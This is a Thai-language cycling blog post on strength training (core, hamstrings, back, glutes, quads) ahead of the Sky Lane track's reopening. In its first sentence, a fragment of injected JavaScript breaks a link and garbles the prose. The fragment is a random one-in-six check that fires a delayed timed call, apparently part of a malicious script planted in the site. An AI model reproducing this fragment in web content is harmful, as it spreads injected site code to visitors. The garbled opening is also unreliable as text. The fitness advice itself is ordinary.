แม้ช่วงนี้ข่าวคร่าววงการปั่นจักรยานจะซบเซาลงไป แต่เชื่อว่าทันทีที่สนาม andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-2017-renovation/” target=”_blank” rel=”noopener”>Sky Lane เปิดใช้บริการอีกครั้ง (รออีกหน่อยสัก 2-3 เดือนนะ) วงการจักรยานจะกลับมาคึกคักเช่นเดิม เมื่อเปิดแล้วต้องปัง! เราอยากเห็นคุณปั่นทำลายสถิติตัวเองใหม่อีกครั้ง อยากเห็น new watt หรือ new max speed ใหม่บนลู่ Sky Lane ดังนั้นเรามาเตรียมความพร้อมของร่างกายกันดีกว่า ก่อนอื่นต้องเริ่มจาก การฝึกกล้ามเนื้อ ( strength training ) เพื่อให้กล้ามเนื้อของเรามีประสิทธิภาพพร้อมใช้งานนั่นเอง…..
การฝึกกล้ามเนื้อ strength training
1.core
กล้ามเนื้อชุดกลางลำตัว ไม่ว่าจะเป็นนักวิ่งหรือนักปั่น ถือว่าเป็นกล้ามเนื้อหลักที่ต้องฝึก การมีกล้ามเนื้อ core ที่แข็งแรง (Stable Core) จะทำให้ Upper body นิ่ง ร่างท่อนบนไม่เคลื่อนไหวส่ายไปมา ลดการสูญเสียพลังงานงานและโมเมนตรัม ให้ร่างกายส่งถ่ายพลังงานไปยังช่วงล่าง ขา และเท้าอย่างมีประสิทธิภาพ ปั่นได้อย่างราบเรียบอย่างที่เรียกว่า “Smooth pedal stoke”
ไปดูกันว่าท่าฝึกกล้ามเนื้อส่วน core มีแบบไหนบ้างจากคลิป GCN
2. Hamstring
หนึ่งในกล้ามเนื้อชุดหลักของการปั่น ที่เด่นชัดที่สุดคงจะเป็นการทำหน้าที่ในการดึงบันไดปั่นขึ้น (Pull pedal) กล้ามเนื้อ Hamstring ทำงานร่วมกับกล้ามเนื้อ Glutes ในการยืดขาและกับเข่าในการพับขาเพื่อดึงบันไดปั่นขึ้นมา ถ้ายังนึกไม่ออกว่ามันทำงานอย่างไร
เอาละเรามาดูไอเดียการฝึกกล้ามเนื้อ Hamstring จากคลิปยูทูปกันดีกว่า
แบบที่สอง
3. Back
จุดประสงค์ของการฝึกกล้ามเนื้อหลังคงหนีไม่พ้นการปั่นให้ได้ยาวนานขึ้น ลดอาการปวดหลัง กล้ามเนื้อต้นคอ ช่วยประคองลำตัวไม่ให้น้ำหนักกดลงแขน ศอก ข้อมือ มากเกินไป อันเป็นสาเหตุของอาการปวดอักเสบ ทั้งนี้การทำ Bike fitting เป็นการเริ่มต้นในการจัดระเบียบร่างกายที่ดีที่สุด สามารถลดอาการบาดเจ็บได้ดี จากนั้นมาฝึกกล้ามเนื้อเพื่อเพิ่มความแข็งแรง ทำให้ยืนระยะได้นานขึ้น
4. Gluteus
ทำไมต้องฝึกกล้ามเนื้อ Gluteus ก่อนอื่นบอกเลยว่า เจ้ากล้ามเนื้อชุดนี้มีส่วนในการเรียกพลังปั่นมาก ลองดูจากรูปภาพในหนึ่งการปั่น จะพบว่า กล้ามเนื้อ gluteus จะถูกใช้ในจังหวะที่เรียกว่า Power phase หรือจังหวะกดนั้นละครับ การฝึกกล้ามเนื้อ gluteus มีประโยชน์ในการรักษาบาลานซ์ การทรงตัว ช่วยในกระประสานงานการเคลื่อนไหวตะโพก เอวและหัวเข่า ป้องกันไม่ให้เอวเรายกไปมาระหว่างปั่นด้วย
ฃมาดูคลิปการฝึกกันเลยครับ สามารถนำเอาการฝึกของนักวิ่งมาใช้ได้เช่นกันครับ
5. Quads
กล้ามเนื้อชุดสุดท้ายที่เราจะพูดถึงคือกล้ามเนื้อ quads ทำหน้าที่ในจังหวะ Power phase เช่นเดียวกันกับกล้ามเนื้อ gluteus เป็นชุดกล้ามเนื้อที่ active เราสังเกตเห็นได้ชัดที่สุดเวลาทำงาน ไม่เหมือนกล้ามเนื้อ gluteus ที่ทำงานแบบ Subconscious (ไม่รู้ว่ามันใช้งานด้วย) ไม่ว่าจะเป็นสปินซเตอร์หรือนักไต่เขา ชุดกล้ามเนื้อที่ไม่ควรมองข้างและเป็นชุดแรกที่ฝึกคือ กล้ามเนื้อ quads นี้แหละครับ
referenceI Love Bicycling,Bicycles Stack Exchange,Lee Likes Bikes,
